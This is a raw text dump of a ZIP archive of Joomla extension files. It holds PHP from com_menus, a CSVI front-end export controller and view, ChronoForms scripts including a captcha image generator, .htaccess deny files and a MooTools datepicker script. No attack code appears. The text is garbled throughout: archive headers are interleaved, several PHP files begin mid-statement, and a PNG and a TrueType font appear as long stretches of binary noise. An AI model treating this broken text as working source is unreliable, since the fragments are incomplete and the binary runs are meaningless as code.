array_values($associations)).')'); $query->leftJoin('#__languages as l ON m.language=l.lang_code'); $query->select('l.image'); $query->select('l.title as language_title'); $db->setQuery($query); $items = $db->loadObjectList('id'); // Check for a database error. if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); return false; } // Construct html $text = array(); foreach ($associations as $tag=>$associated) { if ($associated != $itemid) { $text[] = JText::sprintf('COM_MENUS_TIP_ASSOCIATED_LANGUAGE', JHtml::_('image', 'mod_languages/'.$items[$associated]->image.'.gif', $items[$associated]->language_title, array('title'=>$items[$associated]->language_title), true), $items[$associated]->title, $items[$associated]->menu_title); } } return JHtml::_('tooltip', implode('
      ', $text), JText::_('COM_MENUS_TIP_ASSOCIATION'), 'menu/icon-16-links.png'); } /** * Returns a published state on a grid * * @param integer $value The state value. * @param integer $i The row index * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The Html code * * @see JHtmlJGrid::state * * @since 1.7.1 */ public static function state($value, $i, $enabled = true, $checkbox = 'cb') { $states = array( 7 => array( 'unpublish', '', 'COM_MENUS_HTML_UNPUBLISH_SEPARATOR', '', false, 'publish', 'publish' ), 6 => array( 'publish', '', 'COM_MENUS_HTML_PUBLISH_SEPARATOR', '', false, 'unpublish', 'unpublish' ), 5 => array( 'unpublish', '', 'COM_MENUS_HTML_UNPUBLISH_ALIAS', '', false, 'publish', 'publish' ), 4 => array( 'publish', '', 'COM_MENUS_HTML_PUBLISH_ALIAS', '', false, 'unpublish', 'unpublish' ), 3 => array( 'unpublish', '', 'COM_MENUS_HTML_UNPUBLISH_URL', '', false, 'publish', 'publish' ), 2 => array( 'publish', '', 'COM_MENUS_HTML_PUBLISH_URL', '', false, 'unpublish', 'unpublish' ), 1 => array( 'unpublish', 'COM_MENUS_EXTENSION_PUBLISHED_ENABLED', 'COM_MENUS_HTML_UNPUBLISH_ENABLED', 'COM_MENUS_EXTENSION_PUBLISHED_ENABLED', true, 'publish', 'publish' ), 0 => array( 'publish', 'COM_MENUS_EXTENSION_UNPUBLISHED_ENABLED', 'COM_MENUS_HTML_PUBLISH_ENABLED', 'COM_MENUS_EXTENSION_UNPUBLISHED_ENABLED', true, 'unpublish', 'unpublish' ), -1 => array( 'unpublish', 'COM_MENUS_EXTENSION_PUBLISHED_DISABLED', 'COM_MENUS_HTML_UNPUBLISH_DISABLED', 'COM_MENUS_EXTENSION_PUBLISHED_DISABLED', true, 'warning', 'warning' ), -2 => array( 'publish', 'COM_MENUS_EXTENSION_UNPUBLISHED_DISABLED', 'COM_MENUS_HTML_PUBLISH_DISABLED', 'COM_MENUS_EXTENSION_UNPUBLISHED_DISABLED', true, 'unpublish', 'unpublish' ), ); return JHtml::_('jgrid.state', $states, $value, $i, 'items.', $enabled, true, $checkbox); } } PKs>\V!com_menus/helpers/html/index.htmlnuW+A PKs>\3com_menus/helpers/menus.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } /** * Gets a standard form of a link for lookups. * * @param mixed A link string or array of request variables. * * @return mixed A link in standard option-view-layout form, or false if the supplied response is invalid. */ public static function getLinkKey($request) { if (empty($request)) { return false; } // Check if the link is in the form of index.php?... if (is_string($request)) { $args = array(); if (strpos($request, 'index.php') === 0) { parse_str(parse_url(htmlspecialchars_decode($request), PHP_URL_QUERY), $args); } else { parse_str($request, $args); } $request = $args; } // Only take the option, view and layout parts. foreach ($request as $name => $value) { if ((!in_array($name, self::$_filter)) && (!($name == 'task' && !array_key_exists('view', $request)))) { // Remove the variables we want to ignore. unset($request[$name]); } } ksort($request); return 'index.php?'.http_build_query($request, '', '&'); } /** * Get the menu list for create a menu module * * @return array The menu array list * @since 1.6 */ public static function getMenuTypes() { $db = JFactory::getDbo(); $db->setQuery('SELECT a.menutype FROM #__menu_types AS a'); return $db->loadColumn(); } /** * Get a list of menu links for one or all menus. * * @param string An option menu to filter the list on, otherwise all menu links are returned as a grouped array. * @param int An optional parent ID to pivot results around. * @param int An optional mode. If parent ID is set and mode=2, the parent and children are excluded from the list. * @param array An optional array of states */ public static function getMenuLinks($menuType = null, $parentId = 0, $mode = 0, $published=array(), $languages=array()) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('a.id AS value, a.title AS text, a.level, a.menutype, a.type, a.template_style_id, a.checked_out'); $query->from('#__menu AS a'); $query->join('LEFT', $db->quoteName('#__menu').' AS b ON a.lft > b.lft AND a.rgt < b.rgt'); // Filter by the type if ($menuType) { $query->where('(a.menutype = '.$db->quote($menuType).' OR a.parent_id = 0)'); } if ($parentId) { if ($mode == 2) { // Prevent the parent and children from showing. $query->join('LEFT', '#__menu AS p ON p.id = '.(int) $parentId); $query->where('(a.lft <= p.lft OR a.rgt >= p.rgt)'); } } if (!empty($languages)) { if (is_array($languages)) { $languages = '(' . implode(',', array_map(array($db, 'quote'), $languages)) . ')'; } $query->where('a.language IN ' . $languages); } if (!empty($published)) { if (is_array($published)) $published = '(' . implode(',', $published) .')'; $query->where('a.published IN ' . $published); } $query->where('a.published != -2'); $query->group('a.id, a.title, a.level, a.menutype, a.type, a.template_style_id, a.checked_out, a.lft'); $query->order('a.lft ASC'); // Get the options. $db->setQuery($query); $links = $db->loadObjectList(); // Check for a database error. if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); return false; } // Pad the option text with spaces using depth level as a multiplier. foreach ($links as &$link) { $link->text = str_repeat('- ', $link->level).$link->text; } if (empty($menuType)) { // If the menutype is empty, group the items by menutype. $query->clear(); $query->select('*'); $query->from('#__menu_types'); $query->where('menutype <> '.$db->quote('')); $query->order('title, menutype'); $db->setQuery($query); $menuTypes = $db->loadObjectList(); // Check for a database error. if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); return false; } // Create a reverse lookup and aggregate the links. $rlu = array(); foreach ($menuTypes as &$type) { $rlu[$type->menutype] = &$type; $type->links = array(); } // Loop through the list of menu links. foreach ($links as &$link) { if (isset($rlu[$link->menutype])) { $rlu[$link->menutype]->links[] = &$link; // Cleanup garbage. unset($link->menutype); } } return $menuTypes; } else { return $links; } } static public function getAssociations($pk) { $associations = array(); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->from('#__menu as m'); $query->innerJoin('#__associations as a ON a.id=m.id AND a.context='.$db->quote('com_menus.item')); $query->innerJoin('#__associations as a2 ON a.key=a2.key'); $query->innerJoin('#__menu as m2 ON a2.id=m2.id'); $query->where('m.id='.(int)$pk); $query->select('m2.language, m2.id'); $db->setQuery($query); $menuitems = $db->loadObjectList('language'); // Check for a database error. if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); return false; } foreach ($menuitems as $tag=>$item) { $associations[$tag] = $item->id; } return $associations; } } PKs>\Vcom_menus/helpers/index.htmlnuW+A PKs>\Vcom_menus/index.htmlnuW+A PKs>\{99com_menus/menus.phpnuW+Aauthorise('core.manage', 'com_menus')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } // Execute the task. $controller = JControllerLegacy::getInstance('Menus'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PKs>\Tcom_menus/menus.xmlnuW+A com_menus Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_MENUS_XML_DESCRIPTION config.xml controller.php index.html menus.php controllers helpers models views language/en-GB.com_menus.ini PKGy>\%X_ _ #com_csvi/controllers/export.raw.phpnuW+Acontext; } return parent::getModel($name, $prefix, $config); } /** * Export for front-end * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function export() { // Create the view $view = $this->getView('export', 'raw'); // Add the export model $view->setModel($this->getModel( 'export', 'CsviModel' ), true ); // Add the export model path $this->addModelPath(JPATH_COMPONENT_ADMINISTRATOR.'/models'); // General export functions $view->setModel( $this->getModel( 'exportfile', 'CsviModel' )); // Log functions $view->setModel( $this->getModel( 'log', 'CsviModel' )); // Settings functions $view->setModel( $this->getModel( 'settings', 'CsviModel' )); // General category functions $view->setModel( $this->getModel( 'category', 'CsviModel' )); // Available fields $view->setModel( $this->getModel( 'availablefields', 'CsviModel' )); // Load the model $model = $this->getModel('export'); // Add extra helper paths $view->addHelperPath(JPATH_COMPONENT_ADMINISTRATOR.'/helpers'); $view->addHelperPath(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/xml'); $view->addHelperPath(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/html'); // Load the helper classes $view->loadHelper('csvidb'); $view->loadHelper('template'); $view->loadHelper('csvisef'); // Prepare for export if ($model->getPrepareExport()) { // Set the export override $app = JFactory::getApplication(); $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $overridefile = JPATH_BASE.'/templates/'.$app->getTemplate().'/html/com_csvi/models/export/'.$template->get('operation', 'options').'.php'; // Add the export model path if override exists if (file_exists($overridefile)) $this->addModelPath(JPATH_BASE.'/templates/'.$app->getTemplate().'/html/com_csvi/models/'.$template->get('component', 'options').'/export'); else $this->addModelPath(JPATH_COMPONENT_ADMINISTRATOR.'/models/'.$template->get('component', 'options').'/export'); // Load export specifc helper $view->loadHelper($template->get('component', 'options')); $view->loadHelper($template->get('component', 'options').'_config'); // Display it all $view->display(); } } }PKGy>\#o,, com_csvi/views/export/index.htmlnuW+APKGy>\g* "com_csvi/views/export/metadata.xmlnuW+A PKGy>\L~~"com_csvi/views/export/view.raw.phpnuW+Ainput; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); // Check if this template can be exported from frontend if (!$template->get('export_frontend','general')) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_EXPORT_ALLOWED')); $jinput->set('logcount', 0); echo JText::_('COM_CSVI_NO_EXPORT_ALLOWED'); // Store the log results $this->get('StoreLogResults', 'log'); } else { $result = $this->get('ProcessData', 'exportfile'); if (!$result) { echo JText::_('COM_CSVI_EXPORT_FAILED'); } } } } ?>PKGy>\)$com_csvi/views/export/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\#o,,%com_csvi/views/export/tmpl/index.htmlnuW+APKGy>\55&com_csvi/views/export/tmpl/default.xmlnuW+A
      PKGy>\)com_csvi/views/export/.htaccessnuW+A Order allow,deny Deny from all PKGy>\%com_chronoforms/views/form/index.htmlnuW+APKGy>\)$com_chronoforms/views/form/.htaccessnuW+A Order allow,deny Deny from all PKGy>\w~'com_chronoforms/views/form/metadata.xmlnuW+A PKGy>\W|+com_chronoforms/views/form/tmpl/default.xmlnuW+A Display Form
      PKGy>\))com_chronoforms/views/form/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\*com_chronoforms/views/form/tmpl/index.htmlnuW+APKGy>\拦!com_chronoforms/background.pngnuW+APNG  IHDRx(5>%gAMA7tEXtSoftwareAdobe ImageReadyqe<YIDATx 0IX;Ioc````,,,XXX 0````M=!~IENDB`PKGy>\kC'com_chronoforms/chrono_verification.phpnuW+A<,.|\"'[{]}_=+*&^%$#@!~"; $rand2 = substr(str_shuffle($alphanum), 0, 7); //$_SESSION['chrono_verification'] = md5(strtolower($rand)); $session->set("chrono_verification", md5(strtolower($rand)), md5('chrono')); header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); header("Content-type: image/png"); //$rand = session_name(); if(JRequest::getVar('imtype') == '1'){ $font = dirname(__FILE__).'/default.ttf'; $image_size = imagettfbbox(20, 0, $font, 'X'); $image_size = 5*(abs($image_size[2] - $image_size[0])+7); $im = imagecreatetruecolor($image_size, 40); // Create some colors $white = imagecolorallocate($im, 255, 255, 255); $grey = imagecolorallocate($im, 128, 128, 128); $greylight = imagecolorallocate($im, 199, 199, 199); $black = imagecolorallocate($im, 0, 0, 0); imagefilledrectangle($im, 0, 0, $image_size -1, 39, $white); // The text to draw $text = $rand; // Replace path by your own font path $font = dirname(__FILE__).'/default.ttf'; $chars = array(); $chars2 = array(); for ($i = 0; $i < strlen($text); $i++) { $chars[] = $text[$i]; } for ($i = 0; $i < strlen($rand2); $i++) { $chars2[] = $rand2[$i]; } //$chars = str_split($text); //$chars2 = str_split($rand2); // Add some shadow to the text //imagettftext($im, 20, 0, 11, 21, $grey, $font, $text); $size2 = 20; $angle2 = 0; $x2 = 10; $y2 = 25; $bbox2 = array(); $bbox2[0] = 0; $bbox2[2] = 0; foreach($chars2 as $char2){ $angle2 = rand(-20, 20); $size2 = rand(15, 20); $y2 = rand(0, 40); imagettftext($im, $size2, $angle2, $x2, $y2, $greylight, $font, $char2); $bbox2 = imagettfbbox($size2, $angle2, $font, $char2); $x2 = $x2 + abs($bbox2[2] - $bbox2[0]) + 3; } $size = 20; $angle = 0; $x = 10; $y = 25; $bbox = array(); $bbox[0] = 0; $bbox[2] = 0; // Add the text foreach($chars as $char){ $angle = rand(-20, 20); //$size = rand(15, 20); imagettftext($im, $size, $angle, $x, $y, $black, $font, $char); $bbox = imagettfbbox($size, $angle, $font, $char); $x = $x + abs($bbox[2] - $bbox[0]) + 3; } // Using imagepng() results in clearer text compared with imagejpeg() imagepng($im); imagedestroy($im); }else{ $image = imagecreatefrompng(dirname(__FILE__).'/background.png'); $greylight = imagecolorallocate($image, 199, 199, 199); $black = imagecolorallocate($image, 0, 0, 0); imagestring ($image, 5, 8, 14, $rand2, $greylight); imagestring ($image, 5, 5, 11, $rand, $black); header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); header('Content-type: image/png'); imagepng($image); imagedestroy($image); } ?>PKGy>\Tܵ$com_chronoforms/chronoforms.html.phpnuW+Aform_output; if(empty($form->form_name)){ $form->form_output = 'There is no form with this name!'; }else{ if(!empty($form->main_event_actions)){ foreach($form->main_event_actions as $action => $actiondata){ if($actiondata->type == '_STOP_'){ break; } if(!empty($actiondata->id)){ if(in_array($actiondata->id, $viewed_actions)){ continue; }else{ $viewed_actions[] = $actiondata->id; } } $viewFile = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_actions'.DS.$actiondata->type.DS.'cfaction_'.$actiondata->type.'.ctp'; if(file_exists($viewFile)){ ob_start(); require($viewFile); $form->form_output .= ob_get_clean(); }else{ if(isset($actiondata->required) && ($actiondata->required == 1)){ die('Action file is missing.'); } } } } } echo $form->form_output; $form->form_output = ''; } public static function loadWidget($form, $type, $params = array()){ $widFile = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_widgets'.DS.$type.DS.'output_'.$type.'.ctp'; if(file_exists($widFile)){ ob_start(); require($widFile); $output = ob_get_clean(); return $output; }else{ return ''; } } } ?>PKGy>\۔ddcom_chronoforms/default.ttfnuW+A 0OS/2tNcmap,; glyfvXhead%ڋ]6hheal]$hmtxy1]loca`pmaxpjb name3cApostd` kernd} @ ,d !"#$%'&()`IJKBCDEFZN[PO]H W LjMk\l-./01G279,+86*>3@4A?:;<=5YXSRT_UVz{Qopmnsqrthiacfg|uyebwx" Sax    " & 0 :!"" R`x    & 0 9!"""d !"#$%'&()`IJKBCDEFZN[PO]H W LjMk\l-./01G279,+86*>3@4A?:;<=5{pqomnr}~YXSRQT_U|V^tvsxhifgeacbzywu  }EOjr$ET$3"m+!rN4)`@@_OT~z z +6^ X$W ^ [u7<z? 9^/a;T0? 9^/S;jz)t&T$3"m+!rN~P'`@@_OT~z zK #B|pOxOQD~SP@u% i  W-rDx#HJOCs /m O jz/j$35#UT+!rNNr!+@_Xhh[`@z?,68*@z xH{yUUB\ *W>) Mdj3F+!rN^HUT$35#yF8*@z z`@@_Xh^f xN||:m=Ui|RF]o7-`s'ynI)RuBC:dHr`oR5p[ J2> k7"qq<~~('Uia<rLLUOH  O` f^#"^: K65JWZyC Ch5Z0dgI0;-7{@7a?D-C?@65D'B'BByyBL&-4a@\h}2W U?]I-qyeV LbU#oPyZEoj %/3LKvKIw+vKIwuLKN:dodk`u^k`u_dodOR3 )2leMy82 7,; -mCy&]79RM F;J8|,8yBU,Wi<H`H}. ^_Rh.>_"!`+. +R^_[iLE.-FLKR-\V>{>V]R^hi^:^^9bn J`JTIaJh`hg0`0nni/6O p]\q_^kivu^%7}7&V+V4<+zx+<4hi5sq7B/V\YV\T0Bq\*LL)\ NGh[<o \ujE!:Q_-+v`m:;7DkB@ixI..zw9EL#vDf|0vwl!av,,`P:cl;;lK;78:MOI66roVzlc?`zd@/7u|AKiz/n<w`ay/{HPNjivd[ sv,,`nc;ol;[K;78:MmNhqq56$YtHVM|:OL{CB[  h*6OgZEK EZ\<ay/{HPNjiv`//?!cm8{y/0{HPNjivjiv[t U|;t~q~_/ r) ''H*)) xb##PY[ hBf>^')Z[!m_-+v;mm:[yk@AjB8hxx./ uZWu/U[ujknEargi{L3-HhJNq ;`<{oM!hdS(<7^s%4/PgKmqVgyjj=} / .1 !-PPKJ^]qsjgfk's:` Ps,> }dd|`//00h`/hg0/dO 8aw!-#ftO@&i<he R?=Q kQ-:;,So "`Ntq4#R}}R$5!5xv\T{sq@wt%TZ;C IVVf^zWT}CC:!/+,*F!L Sl0t(jHhy/ \PFlbZW{uZYzaaT4{lm{|u/\;(.{=.yy-.>{t~bn!b  `g`O @cMoG5\/W S X)LF&~r]Ca,xEqh%a][HJBfa=K\"3/E/g<Y0ECTb)*M0$}n/kaIyP.jCcWYTmly~~('KUia< ##jz/37j$35#UT+!rNNr!+q@_Xhh[`@z?,68*@z^##7z!%)?R@!+l\m0K[jh\{l|j@<lL:##V+/3V4<+zx+<4hi5sq7jB/V\YV\T0Bq\*LL)\##uZWu/U[ujkn##?0 #|WW|RK66K }EOW||WK66K*-jE};O""am.a STTam.aT kj3mygNI vzhl.-E}<O;.-$E}<O*X0hLHGPGQcYQsch0hh0QGYQsGi/hi/XGXrGiifc0fch0fG0fGfG0fGi/C%C<..<*%3@@"@Y@p<7 + +KVp K99WW886_V;<ilnJe (8cZA?> Z22459/cb d_ QL#c`:,-3*<]W [^e/?/5qmddr}MJX;9D22459/cb d_TUT44w|83<,-3*=]W [^:E :..3/320/320.9 66bbbT - c;}G8)Os}?,?9 ^xW||F(p_N&(r(F&-,)*,HGGG ^X,*)**'GGGH%=r;KF&-,)*,HGGG  lBB ;#$$$,*)**'GGGHOM~#"#'S*%A>**rDF&-,)*,HGGG?,%$*E/-fj.1pDEx,*)**'GGGH04FH31N z!Ar*-F&-,)*,HGGG>n>,*)**'GGGH-xJCrRF&-,)*,HGGGK41AExg@A|(2<%',*)**'GGGHG0%#nDBn;;q#"<M"!r<F&-,)*,HGGG.0DCwDKeu,*)**'GGGHT h6141;((LLjL`r%F&-,)*,HGGGXN,*)**'GGGH|4q?@X_,*PF+,])'{t^Z]_N.2nPP\# fwZs$$%*$+(MJ%$%7VRQO3S^XLM..8VcaG5jL$N=4#N(%8:&&(%8:&&`:(')(;'''&VKY5BZv}VmZVW%Yj-YRJzRMs}#+80|MHnMZDJ< $cI95<N53djB%-vz34yZjkW5Z0< Efe)ogV:' VW*)``('%99&'R;'')'$={0@A*%Y KJyOL=pi:%""5/rEE"7:%!$Ha$i.ZQJ{QNrH*80~KGn%r]%RRw{POc91NO52}TRUT{95OP83N< FFU0$,eR/-#GEo/VW)'(d_(<zBHk}HZ#=m+# 'TV% po##II$|Z41(Y[%41Z18`)/9% 9dna`opknroqb'*;*+-*).FGFFeZxYm&*)*)-* FFFFDIb2;F;*+-*).FGFFu<<P22afC$$<*)*)-* FFFF-t9 ~;2bC;*+-*).FGFFEsr__)^ECQ:9*)*)-* FFFF|{{{z< +)P&=l,r82b+95\!ea &,^F::7HW::%9 Z7-V&5V4 5NeLVL0I4{*WxNolq>,] ~   EkwRySwkEN7Npmgdb6SCHP#<5@4,801GP cojE'Xwz &^'YV*<98)8aJibX_bgM_jGLK{|JJrf[`djKac_e yQN;.*"#+H7wbyvyWWe++6+=36(';5Q0bW*$He%l<;zz<=g"kEHWW3+&1a/9R:5*&K+50B C22< 11FE31y=f!=<`6879.>6(;+(!GfC760*9aCP^m4AYo@A)&Y KKyNM>q j:%!WmO"4.rEE"7:%!ChBCicdehjgifgjfUcK  fcnERRMp6<9\(!+"" wmB?6 $Ny*TSS0`tsq6 N.,e40\XXXXn~C9mL!!Q!.Akjzz]eHED,vvo76z<:Q!_x4t]W==/=< ia`lm2{:8}~/'_<?p,,/ rj rKj/ xjj rI&C&j/R9}9+KbAnOV&&9&V9AK&dEK&K9-Mj1&dC99-bfO=K j7VKraaaHQQUXfffZC.*V@KReRen:b.ZThrhrhrhrhrhrhrh4sNVVeD<\:6$${%rNF$(B#9bbbbbb&p5IN8c;NWY6NWN=a-CzU 6NQQLLLL6`,Xl  |  Z  X^n:l"*|$P@x !b!"##T##%%&'$(P)6*N*++,f,,,-\-..J.../*/L/n////0(0J0l02 3r34 457n89;<=?h@.@AB\BCCnDrEEEFFFFGH*IJKLM MNOPZPQQRSTUJUV|WdXXYf3 ,I u , ,DIN 1451 MittelschriftRegularDIN 1451 MittelschriftDIN 1451 MittelschriftDIN 1451 MittelschriftRegularDIN 1451 MittelschriftDIN 1451 MittelschriftPKGy>\=x( com_chronoforms/chronoforms.phpnuW+Aparams = $string; }else{ $this->setParams($string); } } function get($k, $v = null){ if(array_key_exists($k, $this->params)){ return $this->params[$k]; }else{ return $v; } } function set($k, $v){ $this->params[$k] = $v; } function setParams($string = ''){ if(strlen(trim(($string))) > 0){ $data = json_decode($string, true); $this->params = $data; }else{ $this->params = array(); } } function toString(){ return json_encode($this->params); } function toArray(){ return $this->params; } function toObject(){ return json_decode(json_encode($this->params)); } } } /** * Load the HTML class */ //require_once(JApplicationHelper::getPath('front_html')); require_once(JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'chronoforms.html.php'); //require_once(JApplicationHelper::getPath('class')); require_once(JPATH_BASE.DS.'includes'.DS.'defines.php'); require_once(JPATH_BASE.DS.'includes'.DS.'framework.php'); $mainframe = JFactory::getApplication('site'); //$mainframe->initialise(); //load chronoforms classes require_once(JPATH_BASE.DS.'components'.DS.'com_chronoforms'.DS.'libraries'.DS.'chronoform.php'); jimport('joomla.application.component.controller'); jimport('joomla.application.component.helper'); jimport('joomla.html.parameter'); $mainframe = JFactory::getApplication(); $formname = JRequest::getVar('chronoform'); $event = JRequest::getVar('event'); if(empty($formname)){ $params = $mainframe->getPageParameters('com_chronoforms'); $formname = $params->get('formname'); if(empty($event)){ $event = $params->get('event'); } } $MyForm = CFChronoForm::getInstance($formname); if(empty($MyForm->form_name)){ echo "There is no form with this name or may be the form is unpublished, Please check the form and the url and the form management."; return; } //Main switch statement if(empty($event)){ $event = 'load'; } process($MyForm, $event); /*switch($task){ case 'submit': process($MyForm, 'submit'); break; default: process($MyForm, $task); break; }*/ function process($form, $event = ''){ $form->process($event); HTML_ChronoForms::processView($form); } ?>PKGy>\-C@4+a+a+com_chronoforms/js/datepicker/datepicker.jsnuW+A/** * datepicker.js - MooTools Datepicker class * @version 1.17 * * by MonkeyPhysics.com * * Source/Documentation available at: * http://www.monkeyphysics.com/mootools/script/2/datepicker * * -- * * Smoothly animating, very configurable and easy to install. * No Ajax, pure Javascript. 4 skins available out of the box. * * -- * * Some Rights Reserved * http://creativecommons.org/licenses/by-sa/3.0/ * */ var DatePicker = new Class({ Implements: Options, // working date, which we will keep modifying to render the calendars d: '', // just so that we need not request it over and over today: '', // current user-choice in date object format choice: {}, // size of body, used to animate the sliding bodysize: {}, // to check availability of next/previous buttons limit: {}, // element references: attachTo: null, // selector for target inputs picker: null, // main datepicker container slider: null, // slider that contains both oldContents and newContents, used to animate between 2 different views oldContents: null, // used in animating from-view to new-view newContents: null, // used in animating from-view to new-view input: null, // original input element (used for input/output) visual: null, // visible input (used for rendering) options: { pickerClass: 'datepicker', days: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], months: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'], dayShort: 2, monthShort: 3, startDay: 1, // Sunday (0) through Saturday (6) - be aware that this may affect your layout, since the days on the right might have a different margin timePicker: false, timePickerOnly: false, yearPicker: true, yearsPerPage: 20, format: 'd-m-Y', allowEmpty: false, inputOutputFormat: 'U', // default to unix timestamp animationDuration: 400, useFadeInOut: !Browser.Engine.trident, // dont animate fade-in/fade-out for IE startView: 'month', // allowed values: {time, month, year, decades} positionOffset: { x: 0, y: 0 }, minDate: null, // { date: '[date-string]', format: '[date-string-interpretation-format]' } maxDate: null, // same as minDate debug: false, toggleElements: null, // and some event hooks: onShow: $empty, // triggered when the datepicker pops up onClose: $empty, // triggered after the datepicker is closed (destroyed) onSelect: $empty // triggered when a date is selected }, initialize: function(attachTo, options) { this.attachTo = attachTo; this.setOptions(options).attach(); if (this.options.timePickerOnly) { this.options.timePicker = true; this.options.startView = 'time'; } this.formatMinMaxDates(); document.addEvent('mousedown', this.close.bind(this)); }, formatMinMaxDates: function() { if (this.options.minDate && this.options.minDate.format) { this.options.minDate = this.unformat(this.options.minDate.date, this.options.minDate.format); } if (this.options.maxDate && this.options.maxDate.format) { this.options.maxDate = this.unformat(this.options.maxDate.date, this.options.maxDate.format); this.options.maxDate.setHours(23); this.options.maxDate.setMinutes(59); this.options.maxDate.setSeconds(59); } }, attach: function() { // toggle the datepicker through a separate element? if ($chk(this.options.toggleElements)) { var togglers = $$(this.options.toggleElements); document.addEvents({ 'keydown': function(e) { if (e.key == "tab") { this.close(null, true); } }.bind(this) }); }; // attach functionality to the inputs $$(this.attachTo).each(function(item, index) { // never double attach if (item.retrieve('datepicker')) return; // determine starting value(s) if ($chk(item.get('value'))) { var init_clone_val = this.format(new Date(this.unformat(item.get('value'), this.options.inputOutputFormat)), this.options.format); } else if (!this.options.allowEmpty) { var init_clone_val = this.format(new Date(), this.options.format); //max hack var init_orig_val = this.format(new Date(), this.options.inputOutputFormat); item.set('value', init_orig_val); //end max hack } else { var init_clone_val = ''; } // create clone var display = item.getStyle('display'); //max hack for date validation if($chk(item.get('id'))){ var new_id = item.get('id')+'_clone_id'; }else{ var new_id = item.get('name')+'_clone_id'; } //max hack for date validation var display = item.getStyle('display'); var clone = item .setStyle('display', this.options.debug ? display : 'none') .store('datepicker', true) // to prevent double attachment... .clone() .set('id', new_id)//max hack for date validation .store('datepicker', true) // ...even for the clone (!) .removeProperty('name') // secure clean (form)submission .setStyle('display', display) .set('value', init_clone_val) .inject(item, 'after'); // events if ($chk(this.options.toggleElements)) { togglers[index] .setStyle('cursor', 'pointer') .addEvents({ 'click': function(e) { this.onFocus(item, clone); }.bind(this) }); clone.addEvents({ 'blur': function() { item.set('value', clone.get('value')); } }); } else { clone.addEvents({ 'keydown': function(e) { if (this.options.allowEmpty && (e.key == "delete" || e.key == "backspace")) { item.set('value', ''); e.target.set('value', ''); this.close(null, true); } else if (e.key == "tab") { this.close(null, true); } else { e.stop(); } }.bind(this), 'focus': function(e) { this.onFocus(item, clone); }.bind(this) }); } }.bind(this)); }, onFocus: function(original_input, visual_input) { var init_visual_date, d = visual_input.getCoordinates(); if ($chk(original_input.get('value'))) { init_visual_date = this.unformat(original_input.get('value'), this.options.inputOutputFormat).valueOf(); } else { init_visual_date = new Date(); if ($chk(this.options.maxDate) && init_visual_date.valueOf() > this.options.maxDate.valueOf()) { init_visual_date = new Date(this.options.maxDate.valueOf()); } if ($chk(this.options.minDate) && init_visual_date.valueOf() < this.options.minDate.valueOf()) { init_visual_date = new Date(this.options.minDate.valueOf()); } } this.show({ left: d.left + this.options.positionOffset.x, top: d.top + d.height + this.options.positionOffset.y }, init_visual_date); this.input = original_input; this.visual = visual_input; this.options.onShow(); }, dateToObject: function(d) { return { year: d.getFullYear(), month: d.getMonth(), day: d.getDate(), hours: d.getHours(), minutes: d.getMinutes(), seconds: d.getSeconds() }; }, dateFromObject: function(values) { var d = new Date(); d.setDate(1); ['year', 'month', 'day', 'hours', 'minutes', 'seconds'].each(function(type) { var v = values[type]; if (!$chk(v)) return; switch (type) { case 'day': d.setDate(v); break; case 'month': d.setMonth(v); break; case 'year': d.setFullYear(v); break; case 'hours': d.setHours(v); break; case 'minutes': d.setMinutes(v); break; case 'seconds': d.setSeconds(v); break; } }); return d; }, show: function(position, timestamp) { this.formatMinMaxDates(); if ($chk(timestamp)) { this.d = new Date(timestamp); } else { this.d = new Date(); } this.today = new Date(); this.choice = this.dateToObject(this.d); this.mode = (this.options.startView == 'time' && !this.options.timePicker) ? 'month' : this.options.startView; this.render(); this.picker.setStyles(position); }, render: function(fx) { if (!$chk(this.picker)) { this.constructPicker(); } else { // swap contents so we can fill the newContents again and animate var o = this.oldContents; this.oldContents = this.newContents; this.newContents = o; this.newContents.empty(); } // remember current working date var startDate = new Date(this.d.getTime()); // intially assume both left and right are allowed this.limit = { right: false, left: false }; // render! booty! if (this.mode == 'decades') { this.renderDecades(); } else if (this.mode == 'year') { this.renderYear(); } else if (this.mode == 'time') { this.renderTime(); this.limit = { right: true, left: true }; // no left/right in timeview } else { this.renderMonth(); } this.picker.getElement('.previous').setStyle('visibility', this.limit.left ? 'hidden' : 'visible'); this.picker.getElement('.next').setStyle('visibility', this.limit.right ? 'hidden' : 'visible'); this.picker.getElement('.titleText').setStyle('cursor', this.allowZoomOut() ? 'pointer' : 'default'); // restore working date this.d = startDate; // if ever the opacity is set to '0' it was only to have us fade it in here // refer to the constructPicker() function, which instantiates the picker at opacity 0 when fading is desired if 